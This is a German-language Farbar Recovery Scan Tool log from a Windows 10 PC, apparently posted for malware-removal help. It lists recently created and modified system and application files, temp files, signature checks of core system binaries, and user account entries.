2017-04-14 03:38 - 2017-04-14 03:38 - 00626520 _____ (Microsoft Corporation) C:\Windows\SysWOW64\fontdrvhost.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 00624640 _____ (Microsoft Corporation) C:\Windows\system32\AudioEndpointBuilder.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00545792 _____ (Microsoft Corporation) C:\Windows\system32\winspool.drv

2017-04-14 03:38 - 2017-04-14 03:38 - 00433664 _____ (Microsoft Corporation) C:\Windows\system32\msIso.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00429568 _____ (Microsoft Corporation) C:\Windows\SysWOW64\winspool.drv

2017-04-14 03:38 - 2017-04-14 03:38 - 00409504 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgmms1.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 00382368 _____ (Adobe Systems Incorporated) C:\Windows\system32\atmfd.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00364032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msIso.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00357888 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieproxy.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00354360 _____ (Microsoft Corporation) C:\Windows\SysWOW64\bcryptprimitives.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00347136 _____ (Microsoft Corporation) C:\Windows\system32\XpsDocumentTargetPrint.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00311192 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\atmfd.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00252928 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XpsDocumentTargetPrint.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00205728 _____ (Microsoft Corporation) C:\Windows\system32\browserbroker.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00119296 _____ (Microsoft Corporation) C:\Windows\system32\UserDataTimeUtil.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00094720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\UserDataTimeUtil.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00091648 _____ (Microsoft Corporation) C:\Windows\system32\mfmjpegdec.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\asycfilt.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00081408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mfmjpegdec.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00078336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\asycfilt.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00047104 _____ (Adobe Systems) C:\Windows\system32\atmlib.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00038912 _____ (Adobe Systems) C:\Windows\SysWOW64\atmlib.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00035840 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\BasicRender.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 00032004 _____ C:\Windows\system32\edgehtmlpluginpolicy.bin

2017-04-14 03:38 - 2017-04-14 03:38 - 00000000 ____D C:\Windows.old

2017-04-14 03:37 - 2017-04-14 03:37 - 00543648 _____ (Microsoft Corporation) C:\Windows\system32\securekernel.exe

2017-04-14 03:37 - 2017-04-14 03:37 - 00388000 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\USBXHCI.SYS

2017-04-14 03:36 - 2017-04-14 03:36 - 00008192 _____ C:\Windows\system32\config\userdiff

2017-04-14 03:36 - 2017-04-14 02:41 - 00000000 ____D C:\Windows\ServiceProfiles

2017-04-14 03:34 - 2017-04-14 03:34 - 00000000 ____H C:\$WINRE_BACKUP_PARTITION.MARKER

2017-04-14 02:52 - 2017-04-25 05:23 - 02015654 _____ C:\Windows\system32\PerfStringBackup.INI

2017-04-14 02:50 - 2017-04-14 02:50 - 00000000 ____D C:\ProgramData\USOShared

2017-04-14 02:49 - 2017-04-14 02:49 - 00000020 ___SH C:\Users\Andy\ntuser.ini

2017-04-14 02:49 - 2017-04-14 02:49 - 00000000 ____D C:\ProgramData\Microsoft OneDrive

2017-04-14 02:47 - 2017-04-14 02:47 - 00011433 _____ C:\Windows\diagwrn.xml

2017-04-14 02:47 - 2017-04-14 02:47 - 00011433 _____ C:\Windows\diagerr.xml

2017-04-14 02:46 - 2017-04-25 05:17 - 00000006 ____H C:\Windows\Tasks\SA.DAT

2017-04-14 02:46 - 2017-04-20 05:35 - 00003994 _____ C:\Windows\System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00004308 _____ C:\Windows\System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003894 _____ C:\Windows\System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003866 _____ C:\Windows\System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003858 _____ C:\Windows\System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003696 _____ C:\Windows\System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003654 _____ C:\Windows\System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-14 02:50 - 00003278 _____ C:\Windows\System32\Tasks\OneDrive Standalone Update Task v2

2017-04-14 02:46 - 2017-04-14 02:46 - 00022960 _____ C:\Windows\system32\emptyregdb.dat

2017-04-14 02:44 - 2017-04-14 02:44 - 00001576 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Media Player.lnk

2017-04-14 02:42 - 2017-04-25 05:16 - 00000000 ____D C:\Users\Andy

2017-04-14 02:42 - 2017-04-14 02:46 - 00000000 ____D C:\Users\defaultuser0

2017-04-14 02:42 - 2017-04-14 02:44 - 00000000 ____D C:\Windows\system32\config\bbimigrate

2017-04-14 02:42 - 2017-04-14 02:43 - 00000000 ____D C:\ProgramData\Package Cache

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Vorlagen

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Startmenü

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Netzwerkumgebung

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Lokale Einstellungen

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Eigene Dateien

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Druckumgebung

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Documents\Eigene Videos

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Documents\Eigene Musik

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Documents\Eigene Bilder

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\AppData\Roaming\Microsoft\Windows\Start Menu\Programme

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\AppData\Local\Verlauf

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\AppData\Local\Anwendungsdaten

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Anwendungsdaten

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Vorlagen

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Startmenü

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Netzwerkumgebung

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Lokale Einstellungen

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Eigene Dateien

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Druckumgebung

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Documents\Eigene Videos

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Documents\Eigene Musik

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Documents\Eigene Bilder

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programme

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\AppData\Local\Verlauf

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\AppData\Local\Anwendungsdaten

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Anwendungsdaten

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Razer

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 ____D C:\Program Files\Razer Chroma SDK

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 ____D C:\Program Files (x86)\Razer Chroma SDK

2017-04-14 02:41 - 2017-04-25 05:22 - 00000000 ____D C:\ProgramData\NVIDIA

2017-04-14 02:41 - 2017-04-25 04:41 - 00000000 ____D C:\Windows\system32\SleepStudy

2017-04-14 02:41 - 2017-04-20 05:35 - 00000000 ____D C:\ProgramData\NVIDIA Corporation

2017-04-14 02:41 - 2017-04-20 05:34 - 00000000 ____D C:\Program Files\NVIDIA Corporation

2017-04-14 02:41 - 2017-04-20 05:34 - 00000000 ____D C:\Program Files (x86)\NVIDIA Corporation

2017-04-14 02:41 - 2017-04-14 23:24 - 00399264 _____ C:\Windows\system32\FNTCACHE.DAT

2017-04-14 02:41 - 2017-04-14 15:13 - 00000000 ____D C:\Program Files (x86)\Razer

2017-04-14 02:41 - 2017-04-14 02:43 - 00000000 ____D C:\ProgramData\Razer

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____H C:\Windows\system32\Drivers\Msft_User_WpdFs_01_11_00.Wdf

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____H C:\ProgramData\DP45977C.lfl

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____D C:\Windows\SysWOW64\RTCOM

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____D C:\Windows\system32\DAX2

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____D C:\Program Files\Realtek

2017-04-14 02:41 - 2017-03-28 03:25 - 00001951 _____ C:\Windows\NvContainerRecovery.bat

2017-04-14 02:41 - 2017-03-18 22:56 - 02233344 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PrintConfig.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 06401984 _____ (NVIDIA Corporation) C:\Windows\system32\nvcpl.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 02477504 _____ (NVIDIA Corporation) C:\Windows\system32\nvsvc64.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 01762752 _____ (NVIDIA Corporation) C:\Windows\system32\nvsvcr.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 00549944 _____ (NVIDIA Corporation) C:\Windows\system32\nv3dappshext.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 00392128 _____ (NVIDIA Corporation) C:\Windows\system32\nvmctray.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 00081856 _____ (NVIDIA Corporation) C:\Windows\system32\nv3dappshextr.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 00069568 _____ (NVIDIA Corporation) C:\Windows\system32\nvshext.dll

2017-04-14 02:41 - 2017-03-16 11:39 - 07813427 _____ C:\Windows\system32\nvcoproc.bin

2017-04-14 02:32 - 2017-04-14 02:32 - 00008192 __RSH C:\BOOTSECT.BAK

2017-04-14 01:49 - 2017-04-14 02:49 - 00000000 ___DC C:\Windows\Panther

2017-04-13 20:17 - 2017-04-13 20:17 - 00000000 ____D C:\Users\Andy\Documents\My Games

2017-04-13 15:29 - 2017-04-13 15:29 - 00000000 ____D C:\Users\Andy\AppData\Local\UNP

2017-04-13 09:13 - 2017-04-14 02:44 - 00000000 ____D C:\Windows\system32\UNP

2017-04-13 09:13 - 2017-04-13 09:14 - 00000000 ____D C:\Program Files\UNP

2017-04-13 01:34 - 2017-04-13 01:34 - 00000000 ____D C:\Users\Default\AppData\Local\Microsoft Help

2017-04-13 01:34 - 2017-04-13 01:34 - 00000000 ____D C:\Users\Default User\AppData\Local\Microsoft Help

2017-04-12 20:47 - 2017-04-14 02:44 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight

2017-04-12 20:47 - 2017-04-12 20:47 - 00000000 ____D C:\Program Files\Microsoft Silverlight

2017-04-12 20:47 - 2017-04-12 20:47 - 00000000 ____D C:\Program Files (x86)\Microsoft Silverlight

2017-04-12 18:41 - 2017-03-28 07:37 - 00031232 _____ (Microsoft Corporation) C:\Windows\system32\DdcWnsListener.dll

2017-04-12 18:41 - 2017-03-28 07:28 - 00261632 _____ (Microsoft Corporation) C:\Windows\system32\indexeddbserver.dll

2017-04-06 03:03 - 2017-04-06 03:03 - 00000000 ____D C:\Users\Andy\Documents\Diablo II

2017-04-06 02:54 - 2017-04-14 02:44 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Diablo II

2017-04-06 02:54 - 2017-04-06 03:08 - 00001230 _____ C:\Users\Public\Desktop\Diablo II - Lord of Destruction.lnk

2017-04-06 02:52 - 2017-04-23 23:34 - 00000000 ____D C:\Users\Andy\Desktop\Dokumente 2017

2017-04-06 02:51 - 2017-04-06 03:49 - 00000000 ____D C:\Program Files (x86)\Diablo II

2017-04-06 02:51 - 2017-04-06 02:52 - 00000000 ____D C:\Users\Andy\Desktop\Desktop Bilder 2017

2017-04-06 01:21 - 2017-04-06 01:21 - 00000000 ____D C:\Users\Andy\AppData\Roaming\.mono

2017-04-06 01:21 - 2017-04-06 01:21 - 00000000 ____D C:\Users\Andy\AppData\LocalLow\Blizzard Entertainment

2017-04-06 01:21 - 2017-04-06 01:21 - 00000000 ____D C:\ProgramData\.mono

2017-04-06 01:20 - 2017-04-06 01:20 - 00000000 ____D C:\Users\Andy\AppData\Local\Blizzard

2017-04-02 08:15 - 2017-04-02 08:15 - 00087904 _____ (Microsoft Corporation) C:\Windows\system32\UNPUXWorker.exe

2017-04-01 12:08 - 2017-04-01 12:08 - 00000000 ____D C:\Users\Andy\AppData\Local\Apowersoft

2017-04-01 12:08 - 2017-04-01 12:08 - 00000000 ____D C:\ProgramData\Apowersoft

2017-04-01 11:48 - 2017-04-01 11:48 - 00000000 ____H C:\Windows\system32\Drivers\Msft_User_WpdMtpDr_01_11_00.Wdf

2017-03-31 16:21 - 2017-04-25 05:15 - 00000008 __RSH C:\ProgramData\ntuser.pol

2017-03-30 22:33 - 2017-04-14 02:43 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype

2017-03-30 22:33 - 2017-03-30 22:33 - 00000000 ___RD C:\Program Files (x86)\Skype
 

==================== Ein Monat: Geänderte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2017-04-25 05:23 - 2017-03-20 06:41 - 00902186 _____ C:\Windows\system32\perfh007.dat

2017-04-25 05:23 - 2017-03-20 06:41 - 00193898 _____ C:\Windows\system32\perfc007.dat

2017-04-25 05:17 - 2017-03-15 18:53 - 00251832 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMSwissArmy.sys

2017-04-25 05:17 - 2017-03-15 18:53 - 00111544 _____ (Malwarebytes) C:\Windows\system32\Drivers\farflt.sys

2017-04-25 05:17 - 2017-03-15 18:53 - 00092096 _____ (Malwarebytes) C:\Windows\system32\Drivers\mwac.sys

2017-04-25 05:17 - 2017-03-15 18:53 - 00043968 _____ (Malwarebytes) C:\Windows\system32\Drivers\mbam.sys

2017-04-25 05:17 - 2017-03-09 21:49 - 00000054 _____ C:\Users\Public\Documents\OSCFile.txt

2017-04-25 05:16 - 2017-03-18 13:40 - 00524288 _____ C:\Windows\system32\config\BBI

2017-04-25 05:05 - 2017-02-16 11:59 - 00000000 ____D C:\Program Files (x86)\Steam

2017-04-24 08:14 - 2017-02-17 09:30 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Hide.me

2017-04-23 02:40 - 2017-02-16 02:30 - 00000000 ____D C:\Program Files (x86)\SpeedFan

2017-04-23 00:40 - 2017-03-18 23:03 - 00000000 ___HD C:\Program Files\WindowsApps

2017-04-23 00:40 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\AppReadiness

2017-04-22 11:13 - 2017-02-16 11:41 - 00000000 ____D C:\Users\Andy\AppData\Local\JDownloader v2.0

2017-04-22 07:53 - 2017-03-04 03:44 - 00000000 ____D C:\Windows\pss

2017-04-22 05:04 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\SysWOW64\Macromed

2017-04-22 05:04 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\Macromed

2017-04-21 03:28 - 2017-03-15 18:53 - 00186304 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMChameleon.sys

2017-04-21 03:16 - 2017-02-16 12:06 - 00000000 ____D C:\Users\Andy\AppData\Roaming\vlc

2017-04-21 01:19 - 2017-02-16 11:54 - 00000000 ____D C:\Users\Andy\AppData\Local\Battle.net

2017-04-21 00:10 - 2017-02-20 16:40 - 00000000 ____D C:\Program Files (x86)\Overwatch

2017-04-20 22:39 - 2017-02-15 22:37 - 00000000 ____D C:\Users\Andy\AppData\Local\CrashDumps

2017-04-20 05:37 - 2017-03-18 23:01 - 00000000 ____D C:\Windows\INF

2017-04-17 17:45 - 2017-02-16 11:53 - 00000000 ____D C:\Program Files (x86)\Battle.net

2017-04-17 17:45 - 2017-02-15 22:29 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Skype

2017-04-17 05:01 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\rescache

2017-04-15 04:00 - 2017-02-15 22:32 - 00000000 ____D C:\Program Files\Common Files\logishrd

2017-04-14 08:01 - 2017-03-18 22:51 - 00000000 ____D C:\Windows\CbsTemp

2017-04-14 04:36 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\appcompat

2017-04-14 03:40 - 2017-03-18 23:03 - 00028672 _____ C:\Windows\system32\config\BCD-Template

2017-04-14 03:38 - 2017-03-18 23:06 - 00000000 ____D C:\Windows\Setup

2017-04-14 03:05 - 2017-02-15 22:27 - 00000000 ____D C:\Users\Andy\AppData\Local\Packages

2017-04-14 02:50 - 2017-03-18 23:03 - 00000000 ____D C:\ProgramData\USOPrivate

2017-04-14 02:50 - 2017-02-15 22:29 - 00002380 _____ C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk

2017-04-14 02:50 - 2017-02-15 22:29 - 00000000 ___RD C:\Users\Andy\OneDrive

2017-04-14 02:49 - 2017-03-18 23:03 - 00000000 ___RD C:\Windows\ImmersiveControlPanel

2017-04-14 02:49 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Windows NT

2017-04-14 02:49 - 2017-02-15 22:27 - 00000000 __RHD C:\Users\Public\AccountPictures

2017-04-14 02:48 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\WinBioDatabase

2017-04-14 02:48 - 2017-03-18 13:40 - 00032768 _____ C:\Windows\system32\config\ELAM

2017-04-14 02:47 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\Registration

2017-04-14 02:47 - 2017-03-18 23:03 - 00000000 ____D C:\ProgramData\regid.1991-06.com.microsoft

2017-04-14 02:47 - 2016-07-16 13:47 - 00000000 ____D C:\Windows\system32\Tasks_Migrated

2017-04-14 02:46 - 2017-03-20 06:43 - 00000000 ____D C:\Windows\HoloShell

2017-04-14 02:46 - 2017-03-18 23:03 - 00000000 __RHD C:\Users\Public\Libraries

2017-04-14 02:44 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\FxsTmp

2017-04-14 02:44 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\LiveKernelReports

2017-04-14 02:44 - 2017-03-15 18:53 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes

2017-04-14 02:44 - 2017-03-09 21:32 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\OnScreen Control

2017-04-14 02:44 - 2017-02-22 12:47 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3

2017-04-14 02:44 - 2017-02-20 22:45 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Overwatch

2017-04-14 02:44 - 2017-02-17 13:06 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java

2017-04-14 02:44 - 2017-02-17 13:04 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Minecraft

2017-04-14 02:44 - 2017-02-17 09:50 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2016-Tools

2017-04-14 02:44 - 2017-02-17 09:48 - 00000000 ____D C:\Windows\SHELLNEW

2017-04-14 02:44 - 2017-02-17 09:44 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\DAEMON Tools Ultra

2017-04-14 02:44 - 2017-02-17 09:30 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\hide.me VPN

2017-04-14 02:44 - 2017-02-16 12:07 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CrystalDiskInfo

2017-04-14 02:44 - 2017-02-16 12:06 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN

2017-04-14 02:44 - 2017-02-16 11:59 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam

2017-04-14 02:44 - 2017-02-16 11:54 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Battle.net

2017-04-14 02:44 - 2017-02-16 11:42 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\JDownloader

2017-04-14 02:44 - 2017-02-16 11:02 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR

2017-04-14 02:44 - 2017-02-16 11:02 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WinRAR

2017-04-14 02:44 - 2017-02-16 02:30 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\SpeedFan

2017-04-14 02:44 - 2017-02-15 22:31 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\NVIDIA Corporation

2017-04-14 02:43 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\spool

2017-04-14 02:43 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\NDF

2017-04-14 02:43 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\System

2017-04-14 02:43 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\microsoft shared

2017-04-14 02:43 - 2017-03-14 05:12 - 00000000 ____D C:\Windows\system32\appmgmt

2017-04-14 02:43 - 2017-03-14 05:08 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HP

2017-04-14 02:43 - 2017-03-03 23:33 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CPUID

2017-04-14 02:42 - 2017-03-18 13:40 - 00000000 ____D C:\Windows\system32\Sysprep

2017-04-14 02:42 - 2017-02-15 22:26 - 00000000 ____D C:\Users\defaultuser0\AppData\Local\Packages

2017-04-14 02:41 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\Help

2017-04-14 02:29 - 2017-03-20 07:06 - 00000000 ___HD C:\$WINDOWS.~BT

2017-04-13 19:38 - 2017-02-21 12:38 - 00000000 ____D C:\Users\Andy\Documents\Overwatch

2017-04-13 01:30 - 2016-07-16 13:47 - 00000167 _____ C:\Windows\win.ini

2017-04-12 21:45 - 2017-02-16 02:52 - 00000000 ____D C:\Windows\system32\MRT

2017-04-12 21:43 - 2017-02-16 02:52 - 148601744 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe

2017-04-12 18:46 - 2017-03-15 18:53 - 00077440 _____ C:\Windows\system32\Drivers\mbae64.sys

2017-04-09 23:57 - 2017-02-17 09:30 - 00000000 ____D C:\Program Files (x86)\hide.me VPN

2017-04-08 16:12 - 2017-02-16 02:34 - 00532136 _____ (Microsoft Corporation) C:\Windows\system32\MpSigStub.exe

2017-04-06 03:08 - 2017-02-16 11:55 - 00000000 ____D C:\ProgramData\Blizzard Entertainment

2017-04-06 01:18 - 2017-03-04 07:34 - 00000000 ____D C:\Users\Andy\Documents\StarCraft II

2017-04-06 01:18 - 2017-02-16 11:54 - 00000000 ____D C:\Users\Andy\AppData\Local\Blizzard Entertainment

2017-04-03 18:56 - 2017-03-18 23:06 - 00835576 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe

2017-04-03 18:56 - 2017-03-18 23:06 - 00177656 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl

2017-03-30 22:33 - 2017-02-16 11:57 - 00000000 ____D C:\ProgramData\Skype

2017-03-28 05:32 - 2017-03-23 19:29 - 00057792 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvvhci.sys

2017-03-28 05:32 - 2017-02-16 02:27 - 01882048 _____ (NVIDIA Corporation) C:\Windows\system32\nvspcap64.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 01755072 _____ (NVIDIA Corporation) C:\Windows\system32\nvspbridge64.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 01472960 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvspcap.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 01317312 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvspbridge.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 00121280 _____ C:\Windows\system32\NvRtmpStreamer64.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 00047552 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvvad64v.sys
 

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======
 

2017-03-14 05:08 - 2017-03-14 05:08 - 0000057 _____ () C:\ProgramData\Ament.ini

2017-04-14 02:41 - 2017-04-14 02:41 - 0000000 ____H () C:\ProgramData\DP45977C.lfl
 

Einige Dateien in TEMP:

====================

2017-04-22 11:13 - 2017-04-22 11:13 - 0040448 ____N () C:\Users\Andy\AppData\Local\Temp\proxy_vole2986111824963999506.dll

2017-04-22 11:13 - 2017-04-22 11:13 - 0040448 ____N () C:\Users\Andy\AppData\Local\Temp\proxy_vole4491335982731241634.dll

2017-04-22 11:13 - 2017-04-22 11:13 - 0040448 ____N () C:\Users\Andy\AppData\Local\Temp\proxy_vole8597607925173856835.dll

2017-04-23 02:40 - 2017-04-23 02:40 - 0192512 _____ () C:\Users\Andy\AppData\Local\Temp\sfamcc00001.dll
 

==================== Bamital & volsnap ======================
 

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)
 

C:\Windows\system32\winlogon.exe => Datei ist digital signiert

C:\Windows\system32\wininit.exe => Datei ist digital signiert

C:\Windows\explorer.exe => Datei ist digital signiert

C:\Windows\SysWOW64\explorer.exe => Datei ist digital signiert

C:\Windows\system32\svchost.exe => Datei ist digital signiert

C:\Windows\SysWOW64\svchost.exe => Datei ist digital signiert

C:\Windows\system32\services.exe => Datei ist digital signiert

C:\Windows\system32\User32.dll => Datei ist digital signiert

C:\Windows\SysWOW64\User32.dll => Datei ist digital signiert

C:\Windows\system32\userinit.exe => Datei ist digital signiert

C:\Windows\SysWOW64\userinit.exe => Datei ist digital signiert

C:\Windows\system32\rpcss.dll => Datei ist digital signiert

C:\Windows\system32\dnsapi.dll => Datei ist digital signiert

C:\Windows\SysWOW64\dnsapi.dll => Datei ist digital signiert

C:\Windows\system32\Drivers\volsnap.sys => Datei ist digital signiert
 

LastRegBack: 2017-04-24 03:33
 

==================== Ende von FRST.txt ============================

Addition.txt:

Code:

Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 23-04-2017 01

durchgeführt von Andy (25-04-2017 05:24:13)

Gestartet von C:\Users\Andy\Desktop

Windows 10 Pro Version 1703 (X64) (2017-04-14 00:49:09)

Start-Modus: Normal

==========================================================
 
 

==================== Konten: =============================
 

Administrator (S-1-5-21-1446151640-2387740664-487604262-500 - Administrator - Disabled)

Andy (S-1-5-21-1446151640-2387740664-487604262-1001 - Administrator - Enabled) => C:\Users\Andy

